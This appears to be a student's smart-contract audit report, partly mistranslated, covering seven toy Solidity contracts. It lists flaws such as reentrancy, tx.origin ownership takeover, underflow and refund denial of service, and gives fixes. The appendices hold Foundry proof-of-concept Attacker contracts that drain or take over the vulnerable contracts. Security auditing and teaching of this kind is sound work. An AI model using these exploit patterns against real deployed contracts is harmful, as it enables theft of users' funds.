Audit Report: Internship Module 3

Name: Luis Miguel Campos García
Date: 26/03/2026

Table of Contents

Introduction and methodology 3
Executive Summary 3
Scope 4
Classification criteria 5
Detailed results 6
Appendices 13

Introduction and methodology

Start: 26 Mar 2026
End: 02 April 2026

The audited contracts are mainly oriented to the management and flow of funds, including functionalities such as money collection, payment distribution and reimbursement mechanisms. This type of contract involves direct management of assets, which increases the importance of guaranteeing their security and correct operation.

The methodology used has consisted, firstly, of a manual analysis of the code to understand the logic of each contract and identify possible vulnerabilities. Subsequently, specific tests have been developed using the Foundry framework with the aim of practically verifying the existence and exploitability of the detected failures.

Executive Summary

The identified faults introduce significant risks to both users and the overall operation of the system. On the one hand, users may be affected by the total or partial loss of their funds, as well as the inability to access or withdraw their money in certain situations. On the other hand, these errors compromise the stability and reliability of the protocol, and can cause blockages in its operation, unexpected behavior, loss of control or even its disuse. Together, these vulnerabilities not only affect the economic security of users, but also deteriorate confidence in the system and put its proper functioning at risk in the long term.

Scope

Archive	SHA256
04_RefundManager.ground	3dca55656f65978dee0eda6332457c67d2ff08e526ce68a8866964c7b29fb332
05_OfficeTreasury.ground	5c8a1301fbd508befaad81cd4f62f13c1ddb78bf40f70ce2cebf36a1093221f8
06_ProjectEscrow.sol	17cc444d51cc9514f7c612ca4407fb54e65f03432e129c5808bd1bca4c0e13c9
07_LoyaltyGiftShop.Ground	2f60873b290eb621b7199de8305488acd0e108b0d5c5c31237f0675c5c8ae353
08_ScholarshipFund.ground	00a321e19e8cc0509a4368fc47b9b970fc271667b82c13976db3c2dac77b984e
09_GroupGiftRefunds.sol	808825cad5f7d3cfc3f8e57997086cf3e19bc6900fb5b031d9901f09a52982e8
10_TeamWallet.Ground	d46014d7184f74df08e091ac7826aff83f604b50b5c601f59c014c34e2d867c3

Classification criteria

For simplicity we will take the Oak ones

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

Detailed results

[CRITICAL] #1 – Refund Failed Leads to Ultimate Loss of User Funds

Description:
The user may lose their funds if the refund transaction fails.

In case of failure of the `call` function, the recipient does not receive the funds and when the status of `processed[user]` and `approvedRefunds[user]` is previously modified, it is marked as processed and therefore without definitive access to those funds.

Code Affected Zone:
`04_RefundManager.sol` line 47

```
    function processRefund(address user) external onlyOwner {
        uint256 amount = approvedRefunds[user];
        require(amount > 0, "No refund configured");
        require(!processed[user], "Already processed");

        processed[user] = true;
        approvedRefunds[user] = 0;

        (bool success, ) = payable(user).call{value: amount}("");
        if (success) {
            totalPaid += amount;
        }
    }
```

Recommendation:
Add a `require` so that in case of failure the transaction reverses the operation.

[CRITICAL] #2 – Poor implementation for access control

Description:
An attacking contract can take control of the contract.

The switch that controls access to the contract's functions makes use of `tx.origin`, which indicates who initiated the transaction, so an attacker who tricks the contract into interacting with it, has access to all the contract's functions since the origin of the transaction will be the `owner` of the contract.

This failure results in the loss of control of the entire contract.

Code Affected Zone:
`05_OfficeTreasury.sol` line 27

```
    modifier onlyOwner() {
        require(tx.origin == owner, "Not authorized");
        _;
    }
```

Recommendation:
Use `msg.sender` in access control. Thus, checking who is making the call and not who initiated it.

[CRITICAL] #3 – Reentry Failure

Description:
A user can continuously withdraw funds from the contract regardless of the allocated funds.

The `cancelSupport` function does not change the state of the `contributions[msg.sender]` variable before making the `call` function, which gives the user the possibility to make successive calls to `cancelSupport` and withdraw funds regardless of the funds allocated to them.

The exploitation of this fault results in the total loss of the contract balance and, which also means, the loss of the balance of the contract users.

Code Affected Zone:
`06_ProjectEscrow.sol` line 51

```
    function cancelSupport() external {
        require(!fundingFinalized, "Funding closed");

        uint256 amount = contributions[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        (bool ok, ) = payable(msg.sender).call{value: amount}("");
        require(ok, "Transfer failed");

        contributions[msg.sender] = 0;
}
```

Recommendation:
Modify the state of the contributions `[msg.sender] variable` before making the `call` function.

[CRITICAL] #4 – Inaccessible Funds

Description:
The funds raised are inaccessible if the target amount is exceeded.

In the `releaseScholarship` function, it is checked whether the balance of the contract is exactly equal to the goal, so that if the goal is exceeded, the scholarship cannot be released and the refund can be claimed, since in the `claimRefund` function the payment is made if the goal has not been reached.

Code Affected Zone:
`08_ScholarshipFund.sol` line 51

```
    function releaseScholarship(address payable student) external
onlyOrganizer {
        require(block.timestamp >= deadline, "Too early");
        require(!released, "Already released");

        require(address(this).balance == goal, "Goal not reached");

        released = true;
        (bool ok, ) = student.call{value: address(this).balance}("");
        require(ok, "Transfer failed");
}
```

Recommendation:
Modify the control so that it releases the collection when the target is equal or exceeded.
A control of the amount donated can be implemented so as not to exceed the goal.

[CRITICAL] #5 – Denial of Service Due to External Call Failure

Description:
In the event of a refund failure, all refunds are reversed and users cannot recover their contributions.

In the `refundAll` function, if a member's refund fails, the `require` causes the function `to revert` and thus `revert` all transactions that have been performed up to the failure.

An attacker can log in as a member and cause their refund to fail, causing the denial of service to the rest of the users.

Code Affected Zone:
`09_GroupGiftRefunds.sol` línea 82

```
    function refundAll() external onlyOwner {
        require(cancelled, "Not cancelled");

        for (uint256 i = 0; i < members.length; i++) {
            address member = members[i];
            uint256 amount = contributions[member];

            if (amount > 0) {
                contributions[member] = 0;

                (bool ok, ) = payable(member).call{value: amount}("");
                require(ok, "Refund failed");
            }
        }
    }
```

Recommendation:
Do not reverse all transactions, purchasing the result of the transaction and in the successful case modifying the `contributions[member]` status.

[CRITICAL] #6 – Incorrect Visibility

Description:
Any user can make transactions resulting in the loss of contract funds.

The feature `_executePayment` has `public` visibility so any user can use the feature, allowing them to make transactions and empty funds from the contract.

Code Affected Zone:
`10_TeamWallet.sol` line 51

```
    function _executePayment(address payable supplier, uint256 amount) public
{
        paymentCount += 1;

        (bool ok, ) = supplier.call{value: amount}("");
        require(ok, "Payment failed");
    }
}
```

Recommendation:
Modify the visibility of the role to `internal` to be used only by the contract `owner`.

[MAJOR] #7 – Overflow failure

Description:
Users can redeem points for gifts continuously.

Due to the disabling of automatic overflow/underflow checks with the use of the `unchecked` block when the user has fewer points than necessary, the points `[msg.sender] -= giftPrice` operation occurs underflow, resulting in an incorrect number of points and giving the user the ability to withdraw gifts indefinitely.

The exploitation of this flaw involves a malfunction of the contract and can result in an unexpected cost in gifts.

Code Affected Zone:
`07_LoyaltyGiftShop.sol` line 42

```
    function redeemGift() external {
        unchecked {
            points[msg.sender] -= giftPrice;
        }

        redeemedGifts[msg.sender] += 1;
    }
```

Recommendation:
Replace the `unchecked` block with a `require` where it is verified that the number of points the user has been equal to or greater than that necessary to obtain a gift.

Appendices

04_RefundMacnager.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {RefundManager} from "../src/04_RefundManager.sol";

contract Revert {

    receive() external payable {
        revert();
    }
}

contract RefundManagerTest is Test {
    RefundManager public refundManager;
    Revert public user = new Revert();

    function setUp() public {

        refundManager = new RefundManager();
        vm.prank(refundManager.owner());
        refundManager.setRefund(address(user), 1 ether);
    }

    function test_processRefund() public {

        refundManager.processRefund(address(user));

        assertEq(refundManager.processed(address(user)), true, "Refund was not
marked as processed");
        assertEq(address(user).balance, 1 ether, "Refund was not processed
correctly");
    }
}
```

05_OfficeTreasury.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {OfficeTreasury} from "../src/05_OfficeTreasury.sol";

contract Attacker {
    OfficeTreasury public victim;

    constructor(address _victim) {
        victim = OfficeTreasury(_victim);
    }

    function attack(address payable recipient, uint256 amount) public {
        victim.payExpense(recipient, amount);
    }

    function attackChangeOwner(address newOwner) public {
        victim.changeOwner(newOwner);
    }

    receive() external payable {}
}


contract OfficeTreasuryTest is Test {
    OfficeTreasury public victim;
    Attacker public attacker;

    address owner = address(1);
    address attackerEOA = address(2);

    function setUp() public {

        vm.prank(owner);
        victim = new OfficeTreasury();
        vm.deal(address(victim), 10 ether);
        attacker = new Attacker(address(victim));
    }

    function test_changeOwner() public {

        vm.startPrank(owner, owner);
        attacker.attackChangeOwner(attackerEOA);
        vm.stopPrank();

        assertEq(victim.owner(), attackerEOA);
    }
```

```
    function test_payExpense() public {

        vm.startPrank(owner, owner);
        attacker.attack(payable(attackerEOA), 1 ether);
        vm.stopPrank();

        assertEq(address(attackerEOA).balance, 1 ether);
        assertEq(address(victim).balance, 9 ether);
    }
}
```

06_ProjectEscrow.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {ProjectEscrow} from "../src/06_ProjectEscrow.sol";

contract Attacker {
    ProjectEscrow public victim;

    constructor(address _victim) {
        victim = ProjectEscrow(_victim);
    }
    function deposit() external payable {
        victim.supportProject{value: msg.value}();
    }

    function withdraw() external {
        victim.cancelSupport();
    }

    receive() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.cancelSupport();
        }
    }
}


contract ProjectEscrowTest is Test {
    ProjectEscrow public victim;
    Attacker public attacker;

    function setUp() public {

        victim = new ProjectEscrow();
        attacker = new Attacker(address(victim));
```

```
        vm.deal(address(victim), 5 ether);
        vm.deal(address(attacker), 1 ether);
    }

    function test_cancelSupport() public {

        attacker.deposit{value: 1 ether}();
        attacker.withdraw();

        assertEq(address(attacker).balance, 1 ether, "Attacker balance is
incorrect");
        assertEq(address(victim).balance, 5 ether, "Victim balance is
incorrect");

    }
}
```

07_LoyaltyGiftShop.t.sol:

```
contract LoyaltyGiftShopTest is Test {
    LoyaltyGiftShop public victim;

    address user = address(1);

    function setUp() public {

        victim = new LoyaltyGiftShop();
        vm.prank(victim.owner());
        victim.setGiftPrice(100);
        victim.grantPoints(user, 90);
    }

    function test_redeemGift() public {

        vm.prank(user);
        victim.redeemGift();

        assertEq(victim.points(user), 90);
        assertEq(victim.redeemedGifts(user), 0);
    }
}
```

08_ScholarshipFund.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {ScholarshipFund} from "../src/08_ScholarshipFund.sol";

contract ScholarshipFundTest is Test {
    ScholarshipFund public vcontract;

    address student = address(1);
    address donor = address(2);

    function setUp() public {
        vcontract = new ScholarshipFund(10, block.timestamp + 1 days);
        vm.deal(donor, 11 ether);
    }

    function test_ScholarshipFund() public {

        vm.prank(donor);
        console.log("Balance :", address(vcontract).balance);
        vcontract.contribute{value: 11 ether}();
        console.log("Balance of the contract after contribution:",
address(vcontract).balance);
        assertEq(address(vcontract).balance, 11 ether);

        vm.warp(block.timestamp + 2 days);
        console.log("Pasan 2 dias");
        vcontract.releaseScholarship(payable(student));
        console.log("Balance of the student after receiving scholarship:",
student.balance);
        assertEq(student.balance, 11 ether);
    }
}
```

09_GroupGiftRefunds.t.sol

```
import {Test} from "forge-std/Test.sol";
import {GroupGiftRefunds} from "../src/09_GroupGiftRefunds.sol";

contract Attacker {

    receive() external payable {
        revert();
    }
}

contract GroupGiftRefundsTest is Test {
    GroupGiftRefunds public victim;
    Attacker public attacker = new Attacker();

    address user1 = address(1);
    address user2 = address(2);
    address user3 = address(3);
    address user4 = address(4);
    address recipient = address(5);

    function setUp() public {
        victim = new GroupGiftRefunds(1 ether, recipient);

        vm.deal(user1, 1 ether);
        vm.deal(user2, 1 ether);
        vm.deal(address(attacker), 1 ether);
        vm.deal(user3, 1 ether);
        vm.deal(user4, 1 ether);
    }

    function test_GroupGiftRefunds() public {

        vm.prank(user1);
        victim.join{value: 1 ether}();

        vm.prank(user2);
        victim.join{value: 1 ether}();

        vm.prank(address(attacker));
        victim.join{value: 1 ether}();

        vm.prank(user3);
        victim.join{value: 1 ether}();

        vm.prank(user4);
        victim.join{value: 1 ether}();
```

```
        vm.prank(victim.owner());
        victim.cancelCampaign();
        victim.refundAll();
    }
}
```

10_TeamWallet.t.sol:

I add a log to the function to see who called it:

```
function _executePayment(address payable supplier, uint256 amount) public{

    console.log("Quien ha hecho la llamada: ", msg.sender);
    paymentCount += 1;
    (bool ok, ) = supplier.call{value: amount}("");
    require(ok, "Payment failed");
}


import {Test} from "forge-std/Test.sol";
import {TeamWallet} from "../src/10_TeamWallet.sol";


contract TeamWalletTest is Test {
    TeamWallet public victim;

    address user = address(1);

    function setUp() public {

        victim = new TeamWallet();
        vm.deal(address(victim), 10 ether);
    }

    function test_executePayment() public {

        vm.startPrank(user);
        victim._executePayment(payable(user), 10 ether);
        vm.stopPrank();
        assertEq(address(user).balance, 10 ether);
        assertEq(address(victim).balance, 0 ether);
    }
}
```

Practical Solutions 2

04_RefundManager.sol :

```
    function processRefund(address user) external onlyOwner {
        uint256 amount = approvedRefunds[user];
        require(amount > 0, "No refund configured");
        require(!processed[user], "Already processed");

        processed[user] = true;
        approvedRefunds[user] = 0;

        (bool success, ) = payable(user).call{value: amount}("");
        require(success, "Refund failed");
        if (success) {
            totalPaid += amount;
        }
    }
```

05_OfficeTreasury.sol:

```
    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }
```

06_ProjectEscrow.sol:

```
    function cancelSupport() external {
        require(!fundingFinalized, "Funding closed");

        uint256 amount = contributions[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        contributions[msg.sender] = 0;

        (bool ok, ) = payable(msg.sender).call{value: amount}("");
        require(ok, "Transfer failed");
    }
```

07_LoyaltyGiftShop.sol:

```
    function redeemGift() external {

        require(points[msg.sender] >= giftPrice, "Not enough points");
        points[msg.sender] -= giftPrice;
        redeemedGifts[msg.sender] += 1;
    }
```

08_ScholarshipFund.sol:

```
    function releaseScholarship(address payable student) external
onlyOrganizer {
        require(block.timestamp >= deadline, "Too early");
        require(!released, "Already released");

        require(address(this).balance >= goal, "Goal not reached");

        released = true;
        (bool ok, ) = student.call{value: address(this).balance}("");
        require(ok, "Transfer failed");
    }
```

09_GroupGiftRefunds.sol:

```
    function refundAll() external onlyOwner {
        require(cancelled, "Not cancelled");

        for (uint256 i = 0; i < members.length; i++) {
            address member = members[i];
            uint256 amount = contributions[member];

            if (amount > 0) {

                (bool ok, ) = payable(member).call{value: amount}("");
                if (ok) {
                    contributions[member] = 0;
                }
            }
        }
    }
```

10_TeamWallet.sol:

```
function _executePayment(address payable supplier, uint256 amount) internal {
        paymentCount += 1;

        (bool ok, ) = supplier.call{value: amount}("");
        require(ok, "Payment failed");
    }
```